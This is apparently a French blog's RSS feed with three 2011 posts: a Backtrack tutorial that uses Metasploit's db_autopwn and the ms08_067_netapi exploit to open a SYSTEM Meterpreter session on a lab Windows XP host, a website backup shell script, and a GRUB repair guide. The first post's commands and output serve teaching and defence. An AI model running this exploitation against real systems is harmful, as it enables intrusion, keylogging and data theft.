<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My1&#039; Blog : Cloud Computing, Sécurité, Web &#187; Linux</title>
	<atom:link href="http://my1.fr/blog/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://my1.fr/blog</link>
	<description>Keep alive !</description>
	<lastBuildDate>Tue, 31 Jan 2012 20:15:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Backtrack &#8211; Exploitation de faille</title>
		<link>http://my1.fr/blog/backtrack-exploitation-de-faille/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-exploitation-de-faille</link>
		<comments>http://my1.fr/blog/backtrack-exploitation-de-faille/#comments</comments>
		<pubDate>Mon, 05 Sep 2011 14:07:11 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=360</guid>
		<description><![CDATA[Nous continuons la série d’articles consacrés à Backtrack. L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système. Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites [...]]]></description>
			<content:encoded><![CDATA[<p>Nous continuons la série d’articles consacrés à Backtrack.</p>
<p>L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système.<br />
Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites comme moi et achetez un bon bouquin relatant des techniques de Hacking. Vous comprendrez mieux quelles sont les différentes méthodes pour exploiter une faille, ainsi que les différents types de failles.</p>
<p>Comme il existe beaucoup de types de failles, et énormément de méthodes, je m&#8217;arrêterai sur un cas général, en appliquant une technique &laquo;&nbsp;classique&nbsp;&raquo;.</p>
<p>Après avoir collecté un tas d&#8217;informations sur le réseau, ainsi que sur la machine ciblée, nous avons évaluer ses vulnérabilités. Rappelez-vous de notre bon ami Nessus qui nous a clairement indiqué que la machine cible avait comme système d&#8217;exploitation Windows XP SP3, et proposait le service de système de fichiers réseau CIFS. Seulement voilà, cette machine est vulnérable. Non pas parce qu&#8217;elle utilise ce service, mais parce que l&#8217;administrateur de la machine n&#8217;a pas pris le temps de mettre à jour régulièrement son système d&#8217;exploitation via Windows Update, ainsi que l&#8217;antivirus</p>
<p>Sachez que les tests réalisés en réseau local ont été effectué avec l&#8217;antivirus Avira Antivir (ainsi qu&#8217;une base de données antivirale de moins d&#8217;un an), sur un Windows XP SP3 sans mises à jour récentes.</p>
<p>Vous serez surpris de voir qu&#8217;il existe énormément d&#8217;ordinateurs au monde dans ce cas là. Ils sont souvent la proie des virus sur Internet (qui aident notamment à réaliser des attaques DDoS (Distributed Denial of Service).</p>
<p>Dans notre étude de cas, nous allons utiliser Metasploit Framework (MSF).</p>
<p>Sa base de données contient tous les <em>exploits</em> / <em>payloads</em> connus à ce jour. Bien entendu, pour une bonne utilisation de cet outil, il est important de le mettre à jour régulièrement (voir même avant chaque utilisation) avec la commande &laquo;&nbsp;<strong>msfupdate</strong>&laquo;&nbsp;.</p>
<p>Dans un terminal, démarrez l&#8217;outil &laquo;&nbsp;<strong>msfconsole</strong>&laquo;&nbsp;.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code6'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3606"><td class="code" id="p360code6"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>root:~<span style="color: #666666; font-style: italic;"># msfconsole</span>
&nbsp;
_
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>      o
_  _  _    _ _<span style="color: #000000; font-weight: bold;">|</span>_  __,   ,    _  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  __    _<span style="color: #000000; font-weight: bold;">|</span>_
<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span> \_<span style="color: #000000; font-weight: bold;">|/</span> \_<span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">/</span>  \_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>
<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>__<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>\_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span> \<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span>\__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">/|</span>
\<span style="color: #000000; font-weight: bold;">|</span>
&nbsp;
=<span style="color: #7a0874; font-weight: bold;">&#91;</span> metasploit v3.7.0-release <span style="color: #7a0874; font-weight: bold;">&#91;</span>core:<span style="color: #000000;">3.7</span> api:<span style="color: #000000;">1.0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">684</span> exploits - <span style="color: #000000;">355</span> auxiliary
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">217</span> payloads - <span style="color: #000000;">27</span> encoders - <span style="color: #000000;">8</span> nops
&nbsp;
msf <span style="color: #000000; font-weight: bold;">&gt;</span></pre></td></tr></table></div>

<p>Nous allons utiliser le résultat du scan Nessus exécuté dans dans la recherche de vulnérabilité (dernier article), et l&#8217;importer dans une base de données SQL :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code7'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3607"><td class="code" id="p360code7"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.129
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.132
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus</pre></td></tr></table></div>

<p>MSF connaît maintenant votre victime : comment la joindre, et surtout quelles sont les vulnérabilités trouvées par Nessus.</p>
<p>Nous allons lancer une commande qui va automatiquement exploiter l&#8217;un des failles disponibles afin d&#8217;obtenir une session avec la machine distante. Admirez le travail :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code8'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3608"><td class="code" id="p360code8"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_autopwn <span style="color: #660033;">-x</span> <span style="color: #660033;">-e</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms08_067_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms06_040_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>psexec against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">3</span> launched modules to finish execution...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Meterpreter session <span style="color: #000000;">1</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> at <span style="color: #000000;">2011</span>-09-05 09:<span style="color: #000000;">40</span>:<span style="color: #000000;">24</span> <span style="color: #660033;">-0400</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">1</span> launched modules to finish execution...</pre></td></tr></table></div>

<p>0wned ! Le tour est joué, la machine distante est prise au piège. Nous avons utiliser l&#8217;exploit ms08_067_netapi pour pénétrer le système.<br />
Pour retrouver une session ouverte, il suffit d&#8217;exécuter cette commande :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code9'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3609"><td class="code" id="p360code9"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> sessions <span style="color: #660033;">-l</span>
&nbsp;
Active sessions
===============
&nbsp;
  Id  Type                   Information                           Connection
  <span style="color: #660033;">--</span>  <span style="color: #660033;">----</span>                   <span style="color: #660033;">-----------</span>                           <span style="color: #660033;">----------</span>
  <span style="color: #000000;">1</span>   meterpreter x86<span style="color: #000000; font-weight: bold;">/</span>win32  AUTORITE NT\SYSTEM <span style="color: #000000; font-weight: bold;">@</span> VICTIME-484AF1D  192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span></pre></td></tr></table></div>

<p>Et maintenant ?</p>
<p>Maintenant passons aux vilaines choses.<br />
Pour obtenir le shell d&#8217;une session ouverte, il suffit de l’appeler par son ID :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code10'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36010"><td class="code" id="p360code10"><pre class="bash" style="font-family:monospace;">session <span style="color: #660033;">-i</span> <span style="color: #000000;">1</span></pre></td></tr></table></div>

<p>Ensuite, la commande &laquo;&nbsp;<strong>help</strong>&nbsp;&raquo; vous éclairera sur la suite. Vous pouvez par exemple explorer les fichiers, prendre une capture d&#8217;écran, enregistrer les touches du clavier utilisées et encore plein d&#8217;autres trucs, dont des tâches administratives.</p>
<p>Cependant, un hacker ayant obtenu le shell d&#8217;un système essaye dans la plupart des cas de rester discret.<br />
Dans le prochain article, nous allons voir comment installer un &laquo;&nbsp;backdoor&nbsp;&raquo; afin de pouvoir revenir plus tard sur le système sans exploiter de faille.<br />
Ah oui, j&#8217;oubliais. Backtrack fournit une excellente interface graphique à MSF : &laquo;&nbsp;<strong>Armitage</strong>&laquo;&nbsp;.</p>
<p>Par rapport aux autres articles, aucune nouveauté en matière de lutte contre ce genre d&#8217;attaque. Un antivirus à jour, un pare-feu bien configuré, un système d&#8217;exploitation récent et à jour suffiront à éviter ce genre d&#8217;exploitation.</p>
<p>Aujourd&#8217;hui, les systèmes les plus vulnérables sont les sites Web qui sont très souvent victimes d&#8217;injections SQL permettant de récupérer des fichiers importants, et de compromettre la sécurité du serveur, et donc du réseau tout entier.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-exploitation-de-faille/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Petit script de sauvegarde d&#8217;un serveur Web avec Shell restreint</title>
		<link>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint</link>
		<comments>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/#comments</comments>
		<pubDate>Sun, 07 Aug 2011 01:59:12 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sauvegarde]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=255</guid>
		<description><![CDATA[Hop, c&#8217;est cadeau, voici un script tout simple pour sauvegarder automatiquement et périodiquement son site web : sauvegarde périodique (les fichiers sont conservés 15 jours) sauvegarde des bases de données (variables à changer) sauvegarde des fichiers du site (chemins à changer) Ce n&#8217;est qu&#8217;un squelette, et vous êtes libres d&#8217;y ajouter votre grain de sel, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://my1.fr/blog/wp-content/uploads/2011/08/sauvegarde.jpg"><img class="aligncenter size-full wp-image-272" title="sauvegarde" src="http://my1.fr/blog/wp-content/uploads/2011/08/sauvegarde.jpg" alt="" width="256" height="256" /></a></p>
<p>Hop, c&#8217;est cadeau, voici un script tout simple pour sauvegarder automatiquement et périodiquement son site web :</p>
<ul>
<li>sauvegarde périodique (les fichiers sont conservés 15 jours)</li>
<li>sauvegarde des bases de données (variables à changer)</li>
<li>sauvegarde des fichiers du site (chemins à changer)</li>
</ul>
<p>Ce n&#8217;est qu&#8217;un squelette, et vous êtes libres d&#8217;y ajouter votre grain de sel, n&#8217;hésitez pas à l&#8217;améliorer et à le partager ici !</p>
<p>&nbsp;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://my1.fr/blog/wp-content/plugins/wp-codebox/wp-codebox.php?p=255&amp;download=backup.sh">backup.sh</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p25513"><td class="code" id="p255code13"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#définitions des variables :</span>
<span style="color: #007800;">datedujour</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">fichierdujour</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>-SqlBackup.tar.gz
<span style="color: #007800;">datequinze</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">'15 days ago'</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># On afficher les infos date du jour et autre pour le log.</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Date du jour : <span style="color: #007800;">$datedujour</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Fichier du jour : <span style="color: #007800;">$fichierdujour</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Date il y a 15 jours : <span style="color: #007800;">$datequinze</span>&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#On supprime  toutes les sauvegardes existantes dans le dossier d'exécution</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #000000; font-weight: bold;">*</span>.sql
&nbsp;
<span style="color: #666666; font-style: italic;"># La commande dump :</span>
mysqldump <span style="color: #660033;">-h</span> localhost <span style="color: #660033;">-u</span> LOGIN_BDD <span style="color: #660033;">-pPASSWORD</span> NOM_BDD <span style="color: #000000; font-weight: bold;">&gt;</span> BDD.sql
&nbsp;
<span style="color: #666666; font-style: italic;">#on archive tous les backups dans un zip a la date du jour</span>
<span style="color: #666666; font-style: italic;"># tar czf $fichierdujour *.sql</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on sauvegarde les fichiers du repertoire web</span>
<span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-cvzf</span> www.tgz <span style="color: #000000; font-weight: bold;">/</span>public_html<span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on cree le répertoire du jour et y place les backups</span>
<span style="color: #c20cb9; font-weight: bold;">mkdir</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span>
<span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #000000; font-weight: bold;">*</span>.sql  ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span><span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">mv</span> www<span style="color: #000000; font-weight: bold;">*</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span><span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on supprime le répertoire d il y a 15 jours s'il existe</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-d</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datequinze</span>; <span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'suppression des anciens backups vieux de 15 jours ou plus'</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datequinze</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on supprime le tar.gz du jour</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$fichierdujour</span></pre></td></tr></table></div>

<p>Puis exécuter :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p255code14'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p25514"><td class="code" id="p255code14"><pre class="bash" style="font-family:monospace;">crontab <span style="color: #660033;">-e</span></pre></td></tr></table></div>

<p>Pour y ajouter la cron suivante :</p>
<p><span style="color: #800000;">0 0 * * * /root/scripts/backup.sh</span></p>
<p>&nbsp;</p>
<p>Je peux maintenant dormir tranquille, cron s&#8217;occupe de tout&#8230;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Mise-à-jour d&#8217;Ubuntu 10.10 vers Ubuntu 11.04</title>
		<link>http://my1.fr/blog/mise-a-jour-dubuntu-10-10-vers-ubuntu-11-04/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mise-a-jour-dubuntu-10-10-vers-ubuntu-11-04</link>
		<comments>http://my1.fr/blog/mise-a-jour-dubuntu-10-10-vers-ubuntu-11-04/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 13:50:35 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[natty]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=164</guid>
		<description><![CDATA[Je ne sais pas ce qu&#8217;il m&#8217;a pris hier soir, un excès de confiance, un grain de folie&#8230; mais j&#8217;ai décidé d&#8217;effectuer une dist-upgrade de mon système. J&#8217;étais sous Ubuntu 10.10, et je désirais tester Ubuntu 11.04 sur mon ordi perso. C&#8217;est pas la première fois que je fais ça, je sais pas ce qu&#8217;il [...]]]></description>
			<content:encoded><![CDATA[<p>Je ne sais pas ce qu&#8217;il m&#8217;a pris hier soir, un excès de confiance, un grain de folie&#8230; mais j&#8217;ai décidé d&#8217;effectuer une dist-upgrade de mon système.</p>
<p>J&#8217;étais sous Ubuntu 10.10, et je désirais tester Ubuntu 11.04 sur mon ordi perso.</p>
<p>C&#8217;est pas la première fois que je fais ça, je sais pas ce qu&#8217;il m&#8217;est arrivé, mais j&#8217;ai démarré la mise à jour à 22h. J&#8217;ai fait le rêve de croire que ça serait finit vers minuit, et hop au dodo la conscience tranquille&#8230; mais c&#8217;était loin d&#8217;être le cas, et je peux vous dire que je n&#8217;ai pas dormis sur mes petits lauriers. Bref, je vais vous présenter les difficultés que j&#8217;ai rencontrées et qui apparemment concernent pas mal de monde.</p>
<p>&nbsp;</p>
<div><strong>Grub error: symbol not found: grub_env_export</strong></div>
<div><strong><br />
</strong></div>
<div>J&#8217;ai découvert cette erreur juste après le 1er redémarrage de l&#8217;ordi quand la mise à jour était finie. Il était minuit, il faisait noir, j&#8217;ai eu peur je l&#8217;avoue. A peine la petite goutte du front séchée, je me lance dans une recherche sur le net (avec mon smartphone ^^) et je m&#8217;aperçois que je ne suis pas le seul. Sans blabla, je vous donne une solution qui a parfaitement marché chez moi.</div>
<div>- Munissez-vous d&#8217;un Live CD d&#8217;Ubuntu 11.04 si possible, et de la <strong>même architecture</strong> que votre système installé.</div>
<div>- Démarrer Ubuntu en mode &laquo;&nbsp;Essayer Ubuntu sans l&#8217;installer&nbsp;&raquo;, et dès que vous le pouvez, ouvrez un terminal.</div>
<div>- Nous allons monter les partitions, chrooter notre système, et réinstaller le Grub. Pensez à remplacer sdbXx par la partition contenant votre système Ubuntu (exemple chez moi : /dev/sdb1).</div>
<blockquote>
<div>sudo mount /dev/sdXx /mnt<br />
sudo mount -o bind /dev /mnt/dev<br />
sudo mount -o bind /sys /mnt/sys<br />
sudo mount -o bind /proc /mnt/proc<br />
sudo chroot /mnt</div>
</blockquote>
<div>au prompt :</div>
<blockquote>
<div>grub-install /dev/sda</div>
<div>update-grub</div>
</blockquote>
